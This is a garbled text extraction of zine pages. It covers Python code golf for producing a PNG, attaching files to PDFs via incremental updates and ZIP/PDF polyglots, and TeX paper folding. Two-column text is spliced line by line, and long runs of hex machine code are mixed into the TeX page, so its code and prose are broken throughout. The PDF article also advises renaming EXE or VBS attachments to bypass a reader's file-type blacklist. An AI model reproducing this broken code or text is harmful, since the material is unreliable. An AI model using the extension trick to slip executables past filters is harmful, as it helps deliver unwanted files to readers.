icofile.seek(0, 0) Structuring the PDF data in a way that the images
outfile.write(icofile.read(6)) are embedded not as raw streams but as attachments
for i in range(img count): that are also visible in the PDF document is left as an
outfile.write(icofile.read(16)) exercise to the reader.

https://twitter.com/tickelton tick
https://tickelton.gitlab.io/ SAA-ALL 0.0.5
14
PNG Themed Python Code Golf File Formats

PNG Themed Python Code Golf


0x00
INTRODUCTION 0x02
THE SCRIPT
Back in May 2019, Gynvael Coldwind organized a code So far, we’ve op- Method Bytes
golf competition0x00 where you could win a ticket for timized the PNG
bz2.compress 950
CONFidence 0x01 , an international IT security conference. file as hard as we lzma.compress 768
Actually, there were 3 competitions for 3 technologies: could. Now, what gzip.compress 732
C++, JavaScript and Python 3, but I’ll focus on the last about squeezing zlib.compress 722
one. The goal was to write a program that generates it up even further zlib.compress (level=9) 720
a valid PNG file named confidence.png with pixel val- by applying gen- zopfli --deflate 710
ues exactly matching a specified model image. Entries eral purpose com-
were run on an offline, fresh install of Ubuntu Server pression? We could use Python’s methods, but zopfli
19.04 using python3 confidence.py command. Also wins again with raw deflate stream. To decompress it in
there was a 60 seconds execution time limit. Darn! No Python we need to use zlib.decompress with wbits=-8
brute-forcing. The smallest confidence.py file wins! as additional argument. Now, what about putting these
Accidentally, I’ve managed to win0x02 with a 1133 bytes 710 bytes of binary data into a Python script? We would
solution but let’s do better! Shall we? Method len() len(repr())
need a whole 2009
bytes to repr esent
0x01
THE IMAGE b64encode 948 951
it as a bytes literal.
a85encode 888 915
The model image0x03 was a 11746 bytes sized file: First thought – the
b85encode 888 891
Base64! But wait!
The base64 module also supports Base85 encoding.
With larger character set it is more efficient. It is a
code golf after all, every byte counts! Putting this all
together gives…
import zlib,base64 as b;open('confidence.png','wb').
write(zlib.decompress(b.b85decode('>kRO7=jD>(Vqjq4_4
IHFVqjozU|?XeU||M|Nd3K20Hh=Wd_r7-bSx7~4>Q~U|Nj@Wupez~y4cvfuA$LVZp&W=2
2OcT7srqa#y58yCq8lzX?Pee!gk9^=LnP7F(Bd=3*#0`QWX2fGJVOexNm|C-+uQsdM-Eq
8eUw*$Uq_Z5J94bE&77_?*v#6TxaFskPt8cVTA;T10dYc;0VNwjLb}IAj|?(z;Y+Z$CXJ
Ps06MItfU!;!AhXYKxPrI2yPi+MYru0<}n~Ef+)ad5@AIU1*9q>97^OWLO2?TQM^x*qFY
@rq{6=JpT770r(3%|-B&9!xp(w##q_&@FaMTuO8odhRJa^hh`MuTqsfu8SN4is^%q`tW6
cMh%b)hHk$U`0s`hm0^Eb=yX6xGB{PR$qxZp}q3+rCn7BOr0e81CIy_Ov+S@ZAnRMoKEW
$SzSD_2#1{$EqZ#7tD`NlU8T88&avlo@@YGsLcPUEef$*|R5ee_LnGPM@;%-BwKt7NX)V
p4WJz&t9)M>7>k6{>N8&`|W*|*=iY5oO<_c`MkNr#TK*v6*FnMHMR#o6#cgSyz;@?vbYB
<Z1xMOn(*|?d2Sq(u?)`S<zu9BI)Ct&$8-6Tu!2`o?;o9=8{VVML|P^#od0qzlo_jRU2<
Ra=6l}QpQc%_exKO)e7@-4x%Fo120u7?ku`ouf*46j_Mvtj>kB+&S)|wce(NbI*RQo-?q
3!0zFwiFPO^FU!}WmSC5hyhLj9$EOYK|t-~IpdQ+ABpo?|jHN%}M{T`5mc7bewBjymWcU
fR1WeDCTTQ-x98MzOUG-`v{PeY@WkYuO03m0GDJLtgn?J4w!^+)rdG!sByt6fsZ_{M*LP
The first step is to make the image as small as possi- ZUka9|5^L~W2ieZdIS=8Jghz&<lY0~c)I$ztaD0e0ss'),-8))
ble while preserving pixel values. After a quick anal-
ysis: it’s completely opaque and uses only 8 unique …a working solution that is only 982 bytes! You can
colors. The PNG file contains some metadata we can count them all ;) Notice the import statement and lack
strip. Also you might notice that the image is made of of b before the encoded data string. Remember that
solid 20 × 20 pixel blocks. You can scale it up and down many text editors add an additional new line character
by factor of 20 losslessly (using no interpolation). Sadly, to saved files. Get rid of it! It’s whole 8 bits, 8 bits too
the default Python 3 installation doesn’t include any im- many for a code golf competition…
age processing library, so let’s abandon this approach. 0x03
GOING FULL BINARY!
Using GIMP to remove metadata, alpha channel and
What about skipping b85encode and embedding raw
to convert the image to indexed mode gets us a 4283
binary compressed data in script? Wait. That’s illegal!
bytes PNG file! Then we can use a PNG optimizer like
optipng or pngcrush to get as low as 2547 bytes, but #coding=l1
import zlib;open('confidence.png','wb').write(zlib.d
the best results are achieved using zopflipng 0x04 with
ecompress(open(__file__,'rb').read()[111:],-8))#░▒░▒
flags --iterations=50 --filters=01234mepb (a bit of
overkill, I know). That gets us as low as 2428 bytes! For Yes, after # goes binary zopfli output. Not included
some web browsers and other apps, first 2408 bytes here due to LATEX complaining… This makes a 821
would be enough to display such a damaged PNG file. bytes solution. A certainly dirty but working solution!
But since we need a correct PNG file, we probably can’t So, this works for some binary data and some en-
get below 2428 bytes while preserving pixel values. codings. If you do really want to use this trick, for
Prove me wrong :) whatever reason, you can just go brute-force and
0x00 https://gynvael.coldwind.pl/?id=710 generate files with all Python encodings from the
0x01 https://confidence-conference.org/2019/krakow.html encodings.aliases.aliases.keys() and your binary
0x02 https://gynvael.coldwind.pl/?id=711 data then try running them. Pick smallest working one.
0x03 https://gynvael.coldwind.pl/img/confidence_2019_golf.png
And remember… Do try this at home!
0x04 https://github.com/google/zopfli λ blamedrop

blamedrop -
Public Domain
15
File Formats Adding any external data to any PDF

Adding any external data Absolute offsets


To be perfectly compatible (for example with 7z
to any PDF or Windows Explorer), a ZIP needs its offsets to
be re-adjusted so that they are absolute to the
Attaching file, not relative to the start of the archive. This
can be fixed in place with the Info-ZIP ​zip  -F
command.
But then when you extract the ZIP as a PDF
attachment, its offsets will be incorrect again, as
To attach a file to a PDF, you can rely on free only the attachment will be copied out of the file.
tools out there: Embedding by hand
pdftk doc.pdf attach_files myfile.bin  So you may want to drop the attachment
 
output attached.pdf  functionality altogether, and just embed the file
Note that Adobe Reader forbids to download as a single data stream instead:
EXE, VBS or ZIP files, so you might want to # create a dummy object entry 
rename their extensions. objNb = doc._getNewXref() 
When attaching such files, the entire PDF is doc._updateObject(objNb,​ ​'<<>>'​) 
# add contents of the archive 
recreated, so you can't revert to the original doc.
doc._updateStream(objNb, 
Incremental updates Zipdata, ​new​=​True​)
A more elegant way to attach a file is to do it via Appended data
an incremental update, so that you make it clear Some tools will still complain that there is
that the file was attached afterwards: the content appended data after the archive when you read
of the original file body is unmodified, only the it from the polyglot. A workaround is to extend
updating elements will be appended: an XREF the archive comment to the end of the file once
update, a new catalog that references the it's in the polyglot:
attachment, the attachment declaration and its # locating the comment length in the ZIP's EoCD 
# 4:Sig 2:NbDisk 2: NbCD 2:TotalDisk 2:TotalCD 
data stream. # 4:CDSize 4:Offset 2:ComLen 
​ itz​ ​# from PyMuPDF 
import​ f offset = filedata.rfind(​"PK\5\6"​) +​ ​20 
...  # new comment length 
doc = fitz.open(pdf)  length​ ​= len(filedata) - offset -​ ​2 
# create an attachment  ​ pen​(pdf,​ ​"wb"​) as f: 
with​ o
# modify the extension to bypass blacklisting  f.write(filedata[:offset]) 
doc.embeddedFileAdd(name,  f.write(struct.pack(​"<H"​, ​length​)) 
data, name, name +​ ​"_"​)  ​f.write(filedata[offset+​2​:]) 
# save incrementally 
doc.saveIncr()  To avoid archive viewers to show an archive
This script may look really simple, but it will comment that is now full of PDF keywords, a
handle for you complex cases such as working trick is to start the comment with a null
linearization, object streams or classic xrefs, will byte: just append such a byte to the ZIP when
only append new or updated objects and leave adding it to the PDF document.
the original file body intact, and will give back a
perfectly valid PDF file. Conclusion
That said, if you attach a ZIP to a PDF, you Attaching a file via an incremental update is an
could think of making it a ZIP/PDF polyglot. elegant way to extend a document while
preserving its original structure.
Incompatibilities with polyglots But a ZIP file can't be at the same time attached
But these are mutually exclusive: even if you to a PDF doc and referenced externally as a
store the incremental update with no ZIP/PDF polyglot.
compression via:
doc.save(doc.name,  Ange Albertini​ with the help of
incremental=True, expand=255)​,  Nicolas Grégoire​, ​Gynvael Coldwind​ and
some incompatibilities will remain. Philippe Teuwen​. 

@angealbertini Ange Albertini


http://github.com/corkami/ SAA-ALL 0.0.5
17
The \TeX{}nicalities of Paper Folding File Formats

Three years ago, I exp First, we create a box containing a mini-experimented with a fold-
ing puzzle in PoCkGTFO page containing the entire content of the outer O issue 0x11. The editors
and I eventually decided two columns: decided to scrap the puzzle be-
cause it distracted from from the underlying content
\newsavebox{\foldedcontent}%
of the article in which it \savebox{\foldedcontent}{% it was to be inserted. The
idea did eventually inspire \begin{minipage}{0.5\foldedwidth} inspire my paper airplane puz-
This will be the content that
zle from page 21 of PoCk is in the outer columns. oCkGTFO 0x13:02, but the
implementation of the pap \end{minipage}% paper airplane was much
}
simpler; a straightforward ard exercise in TikZ.
Next, create the two outer columns using Cut Here if Printing on A4
# #
Cut Here if Printing on A4

TikZ’s clipping feature, and distribute them 1 2

Самиздат horizontally using \hfill:

40
bc
09
c9
23
a6
85
a2
c9
9d
a2
d2
ae
9d
07
8d
a5
ad
11
bd
cc
6f
a5
38
ff
f0
18
0c
07
00
1a
4c
53
20
4c
54
7a
09
95
ff
01

0a
ad
65
08
b2
b3
74
90
ca
00
59
a5
a6
1f
20
09
c0
00
d0
d3
a2
8d
aa
10
ff
c0
7e
30
4e
10
98
45
52
52
c3
4f
75
0c
95
60
11

a9
09
6c
d0
a2
c6
a2
a5
10
08
a9
e3
70
0d
f1
38
d0
d3
50
ba
01
0e
6a
08
7e
f0
3c
c0
8d
00
97
49
45
41
57
4c
3d
0e
95
40
10

80
d0
99
13
18
9f
04
76
bb
69
0d
f0
8a
c8
ad
a5
04
c9
a5
85
fe
e9
c6
18
3c
c0
18
55
0f
00
b8
48
50
54
45
49
35
0f
b9
ff
0f

9d
07
ad
bd
4c
30
fe
10
a2
28
9d
0e
4a
b1
a2
8f
a5
ff
c0
80
50
bd
ff
3c
18
c0
10
55
51
00
60
d3
59
53
ce
d0
2b
00
b9
18
ff

d3
f0
09
c9
a6
07
a3
09
b4
85
85
c6
4a
68
13
e5
d0
f0
d0
bd
09
aa
49
3c
00
f8
38
55
7e
1a
9b
46
c8
20
53
4e
1f
00
b3
ff
ef

0a
0e
60
08
b3
a6
09
ac
a9
68
02
e3
4a
10
a9
8d
30
f7
5a
b4
bd
4a
04
2c
7e
f8
7c
55
0f
39
78
46
45
20
45
47
11
00
b3
10
f0

24
bc
38
c4
e8
93
bd
55
0a
a5
e0
ad
4a
f0
00
b0
01
60
a9
ba
50
4a
b0
3c
7e
fe
fe
aa
4b
27
fc
cf
54
20
4e
49
01
00
b2
0e
20

d0
0f
b9
90
10
bd
a3
09
9d
69
0a
0a
4a
e6
85
04
60
a0
7f
85
09
4a
0a
18
ff
57
38
55
7e
32
25
4e
45
a0
49
53
01
02
b1
00
c0
\noindent\begin{tikzpicture}[remember picture]

50
0a
d3
f0
e5
c9
09
c0
34
9d
b0
d2
c5
6b
6b
49
2c
76
85
71
c9
4a
40
10
ff
fe
38
55
06
25
fd
cf
4c
4e
47
4e
07
05
b0
20
ff

11
f0
0a
0c
60
08
c9
80
0d
64
05
8d
e1
a9
9d
ff
97
a2
c0
60
4a
0a
bd
10
ff
f8
fe
55
4e
2e
9f
54
50
4f
4e
c5
0b
08
af
08
ff

ad
09
e5
09
bc
30
da
d0
ca
08
bd
04
90
3c
1f
69
09
04
a9
e0
90
d3
4a
38
ff
f8
7c
aa
78
25
1e
52
4d
49
c5
45
02
09
ae
06
00

0a
38
6a
20
c9
1f
90
02
d0
69
a9
d2
2c
24
0d
01
30
a9
ff
0e
08
bd
09
38
66
e0
38
55
91
00
9d
45
4f
53
4e
43
08
01
ae
0e
ff

d2
e6
99
99
08
a9
0d
a2
f8
00
bf
29
a9
6c
ca
85
03
00
85
b0
a9
09
ad
6c
e7
10
10
aa
46
30
8c
4c
c3
53
41
49
ff
01
ad
0b
ff

9d
6d
d3
c9
c0
07
a9
44
a2
85
95
20
00
10
10
6a
20
85
71
1b
40
5c
bd
7c
ff
10
18
55
94
32
98
41
44
49
43
56
04
03
ad
02
7f

71
e5
0a
08
0a
85
d0
29
0f
69
f2
45
85
04
fa
38
b9
ec
a9
bd
9d
ae
6a
74
ff
18
3c
55
91
21
99
20
45
cd
53
4f
09
03
ac
20
3f

0a
6d
b9
a9
b0
9f
9d
03
a9
bd
ca
dd
e1
50
a6
a5
b4
85
1e
18
50
11
85
7c
ff
18
7e
aa
46
37
97
44
54
53
20
ce
0e
05
ac
ff
0f

ad
9d
40
00
c6
a0
a3
85
18
42
10
85
e8
08
d1
8e
a5
d6
85
be
09
b0
10
38
7e
28
ff
aa
77
0a
b8
45
52
54
52
45
80
05
ab
05
3f
\clip[use as bounding box] (0,0) rectangle

0a
f9
0a
9d
ad
7f
09
72
9d
bb
ef
dd
8a
a9
e6
e5
72
85
80
85
ca
0a
a9
38
3c
38
18
aa
1e
00
4f
52
4f
49
4f
49
40
07
ab
0b
ff

d2
0b
e5
c9
0a
ad
e0
d0
37
9d
a9
18
49
fe
d1
8c
29
d1
a9
d0
10
c9
aa
10
18
38
18
aa
56
00
15
20
42
4e
54
4b
01
0b
aa
07
ff

9d
60
6b
08
d2
0a
03
1f
0d
49
70
a5
ff
50
d0
b0
01
85
30
bc
ee
09
09
18
00
28
ff
aa
77
00
4e
20
c1
55
43
4f
00
01
aa
00
90

40
18
99
f0
d9
d2
d0
a4
ca
09
8d
de
8d
96
09
04
d0
8b
85
82
20
6f
5c
3c
7e
24
7e
aa
1e
0f
13
20
44
20
45
4f
80
01
a9
02
5e

0a
65
40
0b
bb
29
01
7d
10
e8
80
65
04
a0
a2
49
2e
8d
c3
ba
6b
8d
6d
3c
7e
3c
3c
aa
46
8b
56
20
45
4c
d3
d2
52
05
5a
02
fc

29
6d
0a
a4
bf
7f
ca
f0
f8
e0
02
e0
d2
ff
0f
ff
18
07
a9
a2
ac
09
18
7e
ff
3c
18
ff
77
93
92
a0
44
4c
4f
4e
45
07
28
04
5a

01
9d
b9
6a
b0
aa
ca
17
a9
64
8d
85
aa
84
a0
69
a5
d2
00
02
a2
6e
60
76
ff
24
28
aa
87
0a
11
66
4e
c1
49
49
44
09
32
07
b8

9d
f9
ad
88
be
bd
10
a0
1a
90
81
de
0a
d1
80
01
8f
85
85
a9
7f
ad
b1
7e
ff
44
38
aa
36
00
d0
fc
55
37
44
41
4e
0b
28
04
00
00 7f 47 47 47 47 47 7f 00 30 10 10 10 38 38 38 00 78 08 08 78 40 40 40 78 00 78 08 08 7c 0c 0c 7c 00 60 60 60 6c 7c 0c 0c 00 78 40 40 78
08 08 78 00 78 48 40 40 7e 42 7e 00 7c 44 04 1c 10 10 10 00 38 28 28 28 7c 6c 6c 7c 00 7c 44 44 7c 0c 0c 0c 00 00 00 00 00 00 00 00 38 38

ad
0b
09
10
e4
c9
e9
a0
8d
e2
02
8d
0a
85
a9
4a
65
71
c2
08
bd
b8
0a
7a
ff
54
10
aa
50
00
4f
25
4f
20
41
54
41
0d
64
07
00
38 00 00 38 38 38 80 80 80 80 80 80 80 ff 00 3c 20 20 78 60 60 7c 00 00 66 99 99 99 66 00 00 00 00 00 7e 00 00 00 00 00 18 18 18 7e 18 18

(0.5\wd\foldedcontent,-\foldedheight);

09
60
e5
d2
90
08
c6
2c
47
ca
a9
00
0a
cf
07
18
c8
85
8d
20
c9
a7
20
6e
ff
7c
24
ff
87
0f
09
fd
52
52
52
50
4d
0f
32
10
af
18 00 18 7e db 99 db 7e 18 66 66 66 66 66 2c 38 30 00 7c 44 44 7c 68 68 6c 6c 00 1c 3e 63 5d 63 3e 1c 00 46 46 44 7c 64 66 66 fe 92 10 18

ad
e0
6c
e6
f0
30
78
94
0d
86
41
d2
0a
60
4c
65
29
81
74
f1
08
20
04
7e
e7
7c
24
aa
28
4b
4e
9f
52
45
20
41
4d
c1
3c
ff
aa
18 18 18 18 fc 8c 8c 80 80 80 84 fc 00 00 00 00 00 00 00 ff 80 80 80 80 80 80 80 80 80 00 00 00 00 00 00 00 80 80 aa 9c be 9c aa 80 ff 80

0a
05
99
9e
ba
0e
30
09
a9
78
8d
a5
0a
a5
f1
6a
7f
85
0a
ad
30
98 80 b6 80 8c 80 ff 80 8e 80 b8 80 9c 80 ff 80 b0 98 be 98 b0 80 ff ff 00 00 6c 6f 6e 67 00 72 61 6e 67 65 00 73 63 61 6e 00 00 00 00 00

23
a2
3c
e7
54
3c
ff
50
51
09
24
55
53
45
43
4f
75
3c
03
a6
00 61 66 74 00 76 69 65 77 00 00 00 00 00 00 67 61 6c 61 63 74 69 63 63 00 63 68 61 72 74 00 00 00 60 46 1a a1 f0 47 35 0d 07 07 07 07 07

d2
b0
ad
c6
a0
88
01
10
00
a2
e7
df
8d
d6
ad
a8
85
7d
8d
a2
02
a0
31
3c
ff
44
18
aa
00
0a
cc
8e
d3
49
43
20
43
c1
6f
04
be
07 07 07 80 46 1f 0d 46 71 09 06 06 41 80 02 a9 00 8d 0f d2 85 66 85 85 62 85 63 a9 03 8d 0f d2 a0 2f a9 ff 84 65 85 64 a9 00 aa 9d 00 d0

29
06
09
6b
08
10
60
0b
8d
03
02
69
00
f0
bd
4a
8f
85
07
10
d0
00
a0
18
ff
42
44
ff
ff
00
0b
1a
44
55
41
57
20
c1
3c
02
9e
9d 00 d4 e0 0f b0 03 9d 00 d2 9d 00 d3 9d 67 00 e8 d0 ea ca 9a d8 a9 a9 02 20 0f ae a9 51 8d 16 02 a9 a7 8d 17 02 a9 d1 8d 22 02 a9 18 8d

01
a9
60
10
18
f2
a9
70
11
8e
a9
00
d2
37
aa
4a
18
c0
0b
20
0a
a9
b0
10
ff
5a
44
ff
01
00
cd
98
45
52
50
4f
52
c1
4c
0c
90
00 02 a9 a6 8d 23 02 a9 a7 8d 01 02 a9 04 8d 02 d3 a9 11 8d 1b d0 a9 a9 03 8d 1d d0 20 ba b3 a2 0a 20 45 b0 a5 64 29 80 a8 a2 5f a9 08 20
f1 ad a9 20 85 71 a9 80 8d 02 d4 a9 02 8d 03 d4 a9 3e 8d 00 d4 a9 00 00 8d 07 d4 a9 10 85 79 a6 62 bc 0c bf 20 23 b2 a9 40 8d 0e d2 58 a9

9d
fb
c9
ca
8a
a2
31
07
09
11
80
85
8a
c6
bb
4a
69
85
8d
64
ca
b8
45
38
ff
7e
6c
ff
00
0f
0b
97
59
43
53
43
41
c1
50
03
88
c0 8d 0e d4 a5 67 f0 fc a9 00 85 67 a5 7a f0 20 a2 04 e8 bc 5b 0c b9 b9 00 08 85 68 b9 64 08 85 69 bc 8c 0c bd bd 0c 91 68 e4 7a 90 e6 a9

0f
9d
50
4c
79
7f
85
ad
a9
09
8d
df
4a
d8
c9
aa
3d
c1
38
b7
10
a7
20
7c
ff
7e
38
ff
fa
0b
4a
b8
4f
20
2d
53
54
c1
08
02
84
00 85 7a a5 c0 30 2d a6 79 86 7a bd f9 0b 9d 5b 0c a8 b9 00 08 85 68 68 b9 64 08 85 69 bd 2a 0c 4a 4a 9d 8c 0c a8 b1 68 9d bd 0c 1d ee 0c

0a
f9
b0
ea
c0
bd
78
0a
48
bd
e8
8d
4a
10
fc
98
8d
a9
0b
ca
f6
20
fa
7c
7e
5a
38
08
f1
14
09
c1
52
52
42
20
d3
c1
f8
02
82
91 68 ca e0 04 d0 d7 a5 66 10 0e a9 00 8d e3 17 8d e4 17 8d bc 17 8d 8d bb 17 a9 00 ac 5f 0c ae c1 0c 99 00 03 c8 ca 10 f9 ac 5e 0c ae c0

\node[anchor=north] at

d0
0b
5b
b5
bf
c9
a5
d2
85
a6
02
02
4a
33
d0
29
2e
ff
8d
e0
a0
0c 99 00 07 c8 ca 10 f9 ac 5d 0c ae bf 0c 99 00 06 c8 ca 10 f9 ac 5c 5c 0c ae be 0c 99 00 05 c8 ca 10 f9 ac 5b 0c ae bd 0c 99 00 04 c8 ca

1d
10
ee
18
42
10
0b
e8
0a
48
4c
54
41
55
45
a0
2b
ff
02
81
10 f9 ad 90 0c c9 01 a4 e8 ae fd 0b 8e 5f 0c ad f2 0c 85 6a 8d c1 0c
3 0c b9 e4 b8 b0 03 2d 0a d2 9d 00 03 c8 e8 c6 6a 10 ef ad 8f 0c c9 01

0f
60
85
bd
85
08
cb
c9
90
bb
a9
d2
8d
a5
0f
03
0c
85
69
05
3f
a0
88
ee
10
82
42
13
df
00
43
a1
53
54
d3
47
53
29
df
04
00
a4 e7 ae fc 0b 8e 5e 0c ad f1 0c 85 6a 8d c0 0c b9 e4 b8 b0 03 2d 0a 0a d2 9d 00 07 e8 c8 c6 6a 10 ef ad 8e 0c c9 01 a4 e6 ae fb 0b 8e 5d

38
a9
6d
ad
6a
30
d0
c8
a9
85
02
a6
02
d9
a4
18
18
64
0b
b0
a2
62
09
fa
38
82
42
1b
d8
0b
07
75
45
d3
39
41
4e
ad
bf
50
00
0c ad f0 0c 85 6a 8d bf 0c b9 e4 b8 b0 03 2d 0a d2 9d 00 06 e8 c8 c6 c6 6a 10 ef a4 e5 ae fa 0b 8e 5c 0c ad ef 0c 85 6a 8d be 0c b9 b1 b9

fd
63
a9
09
29
04
02
90
43
6a
8d
dc
d2
f0
ce
7d
a5
84
a9
f8
00
a9
55
da
10
ba
66
12
d0
16
42
a1
c4
4f
37
42
4f
a8
9f
00
01
9d 00 05 e8 c8 c6 6a 10 f4 a4 e4 ae f9 0b 8e 5b 0c ad ee 0c 85 6a 8d 8d bd 0c b9 b1 b9 9d 00 04 e8 c8 c6 6a 10 f4 ad 2a 0c 8d 00 d0 ad 2b
0c 8d 01 d0 ad 2c 0c 8d 02 d0 ad 2d 0c 8d 03 d0 ad 2e 0c 8d 07 d0 18 18 69 02 8d 06 d0 69 02 8d 05 d0 69 02 8d 04 d0 24 d0 30 3a a5 c8 f0

35
9d
50
49
0f
ca
c6
07
85
a4
e9
a4
4a
0a
b9
dd
8e
65
01
90
20
b8
99
de
10
fe
66
a8
c8
0a
07
4c
45
54
39
52
54
a1
1b
04
02
19 85 6d a4 79 84 6e 18 98 aa 69 31 a8 20 9b b6 98 aa a4 6e 20 9b b6 b6 88 10 eb a5 c9 f0 19 85 6d a4 79 84 6e 18 98 aa 69 62 a8 20 9b b6

0b
f9
e0
01
38
10
cc
a0
8d
62
02
dd
49
a5
fc
ba
65
8a
8d
1b
21
a7
03
fe
18
fe
3c
4d
b8
89
06
a2
53
20
31
41
4f
9a
1c
a8
04
98 aa a4 6e 20 9b b6 88 10 eb a6 79 e0 05 b0 05 bd 8c 0c f0 19 38 bd bd d3 0a e5 70 9d d3 0a bd 40 0a e5 c1 9d 40 0a bd ad 09 e9 00 9d ad

9d
0b
05
f0
e5
f8
c6
00
85
c8
a2
a5
8f
d5
be
85
c9
05
b0
e0
b1
20
a0
7c
18
ba
3c
0d
aa
89
43
75
41
54
20
c7
48
90
1d
84
08
09 ca 10 db a6 79 e0 10 d0 02 a2 04 8a a8 a9 00 85 6b b9 66 0b 10 09 09 49 7f 18 69 01 b0 02 c6 6b 18 79 d3 0a 99 d3 0a b9 40 0a 65 6b 99
40 0a b9 ad 09 65 6b 99 ad 09 98 18 69 31 c9 90 90 ce ca 10 c4 a0 04 04 98 aa a9 02 85 6a bd ad 09 c9 02 90 10 0a a9 00 9d ad 09 b0 05 fe

35
9d
b0
02
94
60
cb
98
8f
c8
00
72
8d
30
a6
91
29
62
09
11
60
17
8a
7c
3c
82
18
1f
9b
89
04
a2
42
45
49
4b
d0
86
1e
03
10
a1
ad 09 49 ff 9d 40 0a 8a 18 69 31 aa c6 6a 10 e0 88 10 d7 a5 d0 c9 02 02 b0 5c a6 79 a9 ff bc ad 09 c4 d0 f0 4b bd 0f 0a d0 12 38 a9 00 fd

0b
2a
02
a9
b0
86
a6
d0
a9
84
86
4a
03
06
6b
a8
7f
aa
8d
b0
a5
a0
0a
38
18
82
82
46
8c
89
42
78
52
45
52
4f
4c
2b
1e
01
1e
4a
35 0b 85 6a a9 00 fd a2 0a 85 6b 4c 7d a4 bd 35 0b 85 6a bd a2 0a 85 85 6b 20 21 aa 20 1e b7 bd de 09 d0 12 38 a9 00 fd 04 0b 85 6a a9 00

(0.5\wd\foldedcontent,0) (leftfold)

a9
0c
a9
ff
04
93
64
02
47
6b
68
90
d2
85
9d
a9
85
bd
e1
35
ca
31
a2
10
18
81
82
30
87
8b
04
8c
41
4c
41
4f
4f
29
0c
40
3e
80
fd 71 0a 85 6b 4c a4 a4 bd 04 0b 85 6a bd 71 0a 85 6b 20 21 aa 20 fb fb b6 ca 10 a6 20 62 b1 24 d0 50 31 a2 31 20 6f a7 2c 96 09 70 27 a6

00
e0
7d
85
49
8a
d0
a2
85
ad
86
1a
29
d8
1f
10
8e
dd
09
bc
f0
79 bd 40 0a bc ad 09 d0 02 49 ff a8 b9 e9 0d 20 1e b7 bd 71 0a bc de de 09 d0 02 49 ff a8 b9 e9 0d 20 fb b6 ca 10 db a2 05 ca 10 03 4c 79

a9
de
18
28
81
c6
0d
82
8d
43
06
54
46
54
43
52
83
ff
30
00
00
a5 a9 00 95 e4 9d ee 0c 24 d0 10 0b e0 03 90 eb ad 0a d2 a0 f2 30 2b
a b 2b d5 e9 f0 e0 70 f3 bc 40 0a 24 7b 50 1e e0 02 b0 16 ad 2c 0c 18 7d

fd
11
bc
6b
ff
29
ef
26
8e
0a
69
a5
87
a0
0d
8d
18
be
8d
18
3e
30
10
3c
28
81
d6
0d
7d
0a
06
78
d3
20
41
20
54
7f
f8
04
00
07
db be 9d 2a 0c ad fb 0b 18 69 04 9d f9 0b ac 42 0a a5 76 29 0f 85 6b 6b 98 bc f9 0b c0 cc b0 af a4 d0 f0 02 49 ff c9 20 b0 a5 c9 10 90 02

a2
b0
de
85
69
0f
86
84
85
d2
86
e1
8d
00
a9
7d
69
18
12
be
a2
30
ca
7e
28
81
7c
0d
78
40
05
b5
44
52
20
43
4e
79
0b
50
01
04
a9 0f 85 6a 1d 8c 0c 4a a8 b9 2f be 95 e4 b9 7f be 9d ee 0c 98 4a 4a 4a 4a a8 b9 d1 bf c0 08 d0 03 4d 0a d2 a4 6a 59 db bf 45 6b bc df b8

0a
f3
09
6c
01
85
6a
81
8c
29
6a
f0
05
f0
3c
09
3f
65
0a
b5
14
09
cb
7e
7c
bd
7c
0d
5a
40
42
06
45
41
54
49
4f
72
01
00
00
01
99 ee 00 4c e7 a4 a0 af a6 81 a5 8b f0 0c c6 8b a0 4f 29 20 f0 04 a2 a2 42 a0 60 84 f4 86 f6 a6 79 bd 40 0a a4 d0 c0 01 d0 09 c9 f0 b0 03

6
20 64 b7 49 ff c9 10 90 02 a9 0f 0a 29 1c 05 72 a8 b9 90 ba 85 6a bd bd 2a 0c 29 03 a8 b9 b0 ba 25 6a 9d ee 0c ca e0 05 b0 ca 24 64 50 03

9d
ad
d0
bd
85
94
bd
86
a9
7f
86
16
d2
20
85
8d
8d
cb
8d
6e
85
95
c6
76
38
ff
38
0d
50
4b
06
78
47
54
48
54
c3
6a
0b
08
00
04
4c 9b a6 20 fe af ad 00 d3 a8 29 03 aa bd f5 ba 85 c9 98 4a 4a 29 03 03 aa bd f5 ba 85 c8 20 3d af 20 29 ae 2c 95 09 70 40 a5 7e f0 3c a5

a2
0a
09
40
6b
8a
c9
fb
ea
a8
6b
c6
a9
a5
cf
7e
fd
aa
a5
5d
6a
2c
cc
f7
38
ff
10
10
46
55
05
8c
41
d3
47
43
44
61
0b
af
00
01
d0 d0 03 20 bf a7 ae 5c 09 a5 bf 30 05 aa 09 80 85 bf b5 e9 d0 0b 8a 8a 49 01 aa b5 e9 d0 03 ae 5c 09 8e 5c 09 a5 7c f0 13 a5 d0 c9 02 b0

0a
d2
38
0a
a5
4a
08
a2
8d
b9
18
e1
70
d4
60
09
0b
a9
0a
1b
a9
b8
c6
ff
38
bd
81
00
32
0a
00
04
47
59
49
41
45
7a
0b
88
04
04
0d 49 01 dd ad 09 f0 06 aa bd cf be 85 ca 20 e6 ac 20 79 aa a5 7b d0 d0 5c a5 eb f0 58 ac 42 0a c8 c0 02 b0 50 ac 73 0a c8 c0 02 b0 48 ac

{\usebox{\foldedcontent}};

ad
29
e6
85
6a
4a
10
02
e8
c9
a5
c9
8d
85
c9
8d
a5
00
a5
be
00
a4 0a c8 c0 02 b0 40 20 e1 ae a0 02 20 6b ac a2 7f a5 81 d0 1e a2 0a 0a 20 45 b0 a0 23 a2 08 20 0a b1 a2 5f a0 80 a9 08 20 f1 ad 20 0d ae

cd
02
ff
10
81
81
4d
17
00
02
78
4e
42
52
4c
47
75
0b
03
04
01
a2 40 86 e3 a2 ff 86 8a a9 00 85 eb a9 02 85 be a2 01 20 6f b8 a2 0a 0a 20 a8 ae a4 63 ad 1f d0 49 ff 29 03 85 63 f0 1a 88 10 17 85 66 c9

0a
0f
6d
6a
4a
4a
19
bd
0f
08
68
11
08
d8
fd
7f
8c
85
8f
95
85
20
d0
df
10
81
81
10
14
00
03
b5
c5
44
59
41
41
3d
0b
01
10
04
02 b0 06 a9 00 a8 4c 5e a1 e6 62 a5 62 29 03 85 62 4c 5a a1 20 04 b8 b8 20 9b a8 20 16 b2 20 e4 b4 4c f3 a1 a9 ff 85 67 a9 e0 8d 09 d4 a6

d2
85
e5
ad
4a
4a
20
8e
a0
d0
69
b0
d2
a6
d0
09
18
c9
85
6e
66
01
cb
df
24
81
c3
c8
10
0b
04
04
50
4e
50
c7
4d
35
0b
40
70
00
f6 ad 0a d2 24 8a 50 07 30 04 29 72 09 40 aa a5 d0 c9 03 90 02 a2 a0 a0 86 f6 a2 08 b5 ee 9d 12 d0 ca 10 f8 8d 1e d0 20 ab b2 e6 77 d0 0d

29
6a
6d
0a
4a
85
f1
0c
00
f5
51
10
60
d2
05
